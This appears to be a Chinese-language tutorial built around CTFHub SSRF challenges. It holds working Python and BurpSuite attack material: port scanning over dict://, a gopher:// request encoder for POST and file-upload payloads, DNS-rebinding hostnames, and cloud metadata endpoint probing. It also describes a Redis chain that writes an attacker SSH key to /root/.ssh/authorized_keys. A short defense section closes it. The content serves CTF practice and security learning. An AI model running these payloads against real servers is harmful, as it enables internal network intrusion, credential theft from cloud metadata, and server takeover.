当前位置: 首页 > news >正文

从CTFHub五道题出发,手把手教你用BurpSuite和Python脚本实战SSRF漏洞(附完整代码)

从CTFHub五道题实战SSRF:BurpSuite与Python自动化攻击指南

在渗透测试领域,SSRF(服务端请求伪造)始终是攻击者突破内网边界的重要武器。不同于传统漏洞利用,SSRF需要测试者具备协议转换、请求构造和自动化处理等复合能力。本文将基于CTFHub经典五道题,深入演示如何结合BurpSuite的高级功能和Python脚本实现SSRF漏洞的自动化利用,涵盖端口扫描、协议转换、请求伪造等实战场景。

1. 环境准备与工具链配置

1.1 基础环境搭建

推荐使用Kali Linux作为测试环境,预装以下工具:

  • BurpSuite Community/Professional:用于请求拦截、修改和爆破
  • Python 3.8+:运行自动化脚本
  • curl/wget:快速验证请求有效性
# 安装Python依赖库 pip install requests urllib3 pycurl

1.2 BurpSuite关键配置

Proxy -> Options中启用Intercept Client Requests,添加以下规则确保捕获所有流量:

^.*$

Project options -> Connections中设置上游代理(如有需要),并调整线程数至50(Professional版可更高):

配置项推荐值
Maximum threads50
Retries3
Timeout10000 ms

2. 内网探测与端口扫描自动化

2.1 Intruder模块高效爆破

针对CTFHub第三题的端口扫描需求,按以下步骤配置Burp Intruder:

  1. 捕获基础请求后发送至Intruder
  2. 选择Sniper攻击类型,标记端口参数:
    GET /?url=http://127.0.0.1:§0§ HTTP/1.1
  3. Payloads标签中选择Numbers类型,设置:
    • Range: 8000-9000
    • Step: 1

优化技巧

  • Settings -> Grep - Extract中添加flag关键词匹配
  • 启用Payload Encoding避免特殊字符干扰

2.2 Python多线程扫描脚本

对于非HTTP协议(如dict),可使用以下脚本加速探测:

import concurrent.futures import requests def scan_port(port): try: r = requests.get(f'http://target.com/?url=dict://127.0.0.1:{port}', timeout=3) if 'redis' in r.text: # 识别特定服务 return f"Port {port}: Redis detected" except Exception as e: pass return None with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: ports = range(8000, 9001) results = list(executor.map(scan_port, ports)) print([r for r in results if r]) # 只输出有效结果

3. Gopher协议高级利用技术

3.1 HTTP到Gopher的协议转换

CTFHub第四题需要构造POST请求,关键步骤包括:

  1. 原始HTTP请求模板:

    POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=b73cfcee3cb5781edf09a058769527f5
  2. 使用以下Python脚本进行二次URL编码:

    from urllib.parse import quote def gopher_encode(http_payload): crlf_encoded = http_payload.replace('\n', '\r\n') once_encoded = quote(crlf_encoded) twice_encoded = quote(once_encoded) return f"gopher://127.0.0.1:80/_{twice_encoded}" print(gopher_encode(""" POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=b73cfcee3cb5781edf09a058769527f5 """))

3.2 文件上传的Multipart处理

第五题涉及文件上传,需要特殊处理boundary:

import urllib.parse def encode_multipart(boundary, fields, files): payload = [] for name, value in fields.items(): payload.extend([ f'--{boundary}', f'Content-Disposition: form-data; name="{name}"', '', str(value) ]) for name, file_content in files.items(): payload.extend([ f'--{boundary}', f'Content-Disposition: form-data; name="{name}"; filename="test.txt"', 'Content-Type: text/plain', '', file_content ]) payload.append(f'--{boundary}--') return '\r\n'.join(payload) boundary = '----WebKitFormBoundaryABC123' fields = {'aaa': '提交查询'} files = {'file': 'test content'} multipart_data = encode_multipart(boundary, fields, files) http_request = f"""POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: multipart/form-data; boundary={boundary} Content-Length: {len(multipart_data)} {multipart_data}""" print(gopher_encode(http_request)) # 复用前文的gopher_encode函数

4. 防御绕过与高级利用

4.1 DNS重绑定技术

当目标校验Host头时,可使用DNS重绑定:

  1. 配置可控DNS服务器(如使用rbndr.us)
  2. 构造特殊域名:
    http://7f000001.0x7f.1.0x7f.1.rbndr.us/flag.php
    (其中7f000001是127.0.0.1的十六进制表示)

4.2 非HTTP协议利用

除gopher外,这些协议也值得关注:

协议用途示例
dict探测Redis/MySQL等服务dict://localhost:6379/info
ftp尝试匿名登录ftp://anonymous@localhost
ldap查询目录服务ldap://localhost:389

4.3 云服务元数据API探测

针对云环境,可尝试访问元数据接口:

cloud_apis = [ 'http://169.254.169.254/latest/meta-data/', 'http://metadata.google.internal/computeMetadata/v1/', 'http://169.254.169.253/latest/meta-data/' ] for api in cloud_apis: try: r = requests.get(f'http://target.com/?url={api}', timeout=3) if 'instance-id' in r.text: print(f'Cloud API exposed: {api}') except: pass

5. 实战案例与防御建议

5.1 真实漏洞利用链构建

某次渗透测试中的完整流程:

  1. 发现SSRF漏洞点(如PDF生成服务)
  2. 通过file:///proc/self/environ获取环境变量
  3. 识别内网Redis服务(端口6379)
  4. 使用Gopher协议写入SSH公钥:
    redis_cmd = """ flushall config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\\n\\nssh-rsa AAAAB3N...\\n\\n" save quit """ gopher_payload = gopher_encode(redis_cmd.replace('\n', '\r\n'))

5.2 防御方案设计

企业级防护应实施多层控制:

网络层

  • 出口防火墙限制Web服务器出站流量
  • 关键内网服务设置白名单ACL

代码层

// Java示例:URL过滤 public static boolean isValidURL(String url) { return !url.matches("(?i)^(file|gopher|dict|ftp)://.*") && !url.startsWith("127.") && !url.startsWith("192.168."); }

架构层

  • 请求代理服务部署在独立DMZ区
  • 实施请求签名校验(如HMAC)

在BurpSuite的实战配置中,建议创建Match and Replace规则自动拦截危险请求:

MatchReplaceComment
url=file://url=http://阻断文件协议请求
127.0.0.10.0.0.0替换本地回环地址
http://www.jsqmd.com/news/908302/

相关文章:

  • 2026 北京邮票纪念币工艺品回收机构深度测评排行 - 品牌排行榜单
  • 避开PFC双轴模拟的5个大坑:从伺服震荡到应力计算不准的实战调试
  • 015、Albumentations + YOLO 联合增强管线:自定义增强策略与训练一致性保障
  • 2025-2026年犀鸟搬场服务(上海)有限公司电话查询:预约前请核实服务范围与收费标准 - 品牌推荐
  • 【原创解锁】壁纸秀秀1.0.00.232登录后解锁VIP海量壁纸
  • 2026年无人机电机测试精品定制哪家好 - mypinpai
  • 2026年市面上比较好的舞台显示屏品牌排名 - 品牌排行榜
  • 提示工程进阶:从TextGrad到CROP的自动化优化与结构化约束实践
  • sudo 命令详解与安全使用指南
  • 随机过程WebApp实验室:从随机动力学到 AI 洞察的概率世界
  • 2025-2026年犀鸟搬场服务(上海)有限公司电话查询:选择搬家公司前需核实资质 - 品牌推荐
  • 安装node.js
  • 从‘字典攻击’到‘撞库’:通过Python模拟黑客的密码破解流程,理解你的密码如何被泄露
  • 职场人必备AI思维与实战指南:从提示工程到数据洞察
  • 2026年目前优质无缝拼接全彩屏定做厂家排行榜单 - 品牌排行榜
  • 2026年紫外光固化修复材料靠谱品牌推荐 - mypinpai
  • 为什么顶尖AI团队已在生产环境切换Gemini新模型?(附性能压测对比+迁移Checklist)
  • 3分钟快速掌握:手机号码定位开源工具的终极指南
  • 2025-2026年北京快誉知识产权代理有限公司西安分公司电话查询。使用前请核对服务资质与合同条款 - 品牌推荐
  • 解决Keil MDK中RL-FlashFS在小扇区EEPROM的空间问题
  • FT8441SP/FT8441TP系列5V200mA/300mA低成本交直流电源芯片解析
  • SAP PO中的确认控制无法更改
  • 2025-2026年犀鸟搬场服务(上海)有限公司电话查询:搬家前需核实资质及合同细节 - 品牌推荐
  • 2026年全屋定制生产厂推荐:合作案例多的有哪些? - mypinpai
  • AI Agent身份认证危机:OAuth 2.0在智能体场景下的安全挑战与防御策略
  • 建筑全生命周期碳核算,从建材生产到拆除的算法拆解
  • Tool Use工程实战:让LLM精准调用外部工具的完整方案
  • 别再手动建文件夹了!用C#给SolidWorks PDM写个自动归档小工具(附完整代码)
  • 告别重装!用VHDX给Win11/10建个“时光机”,3秒还原比Ghost快多了
  • 大语言模型涌现能力探析:统计之根如何开出理解之花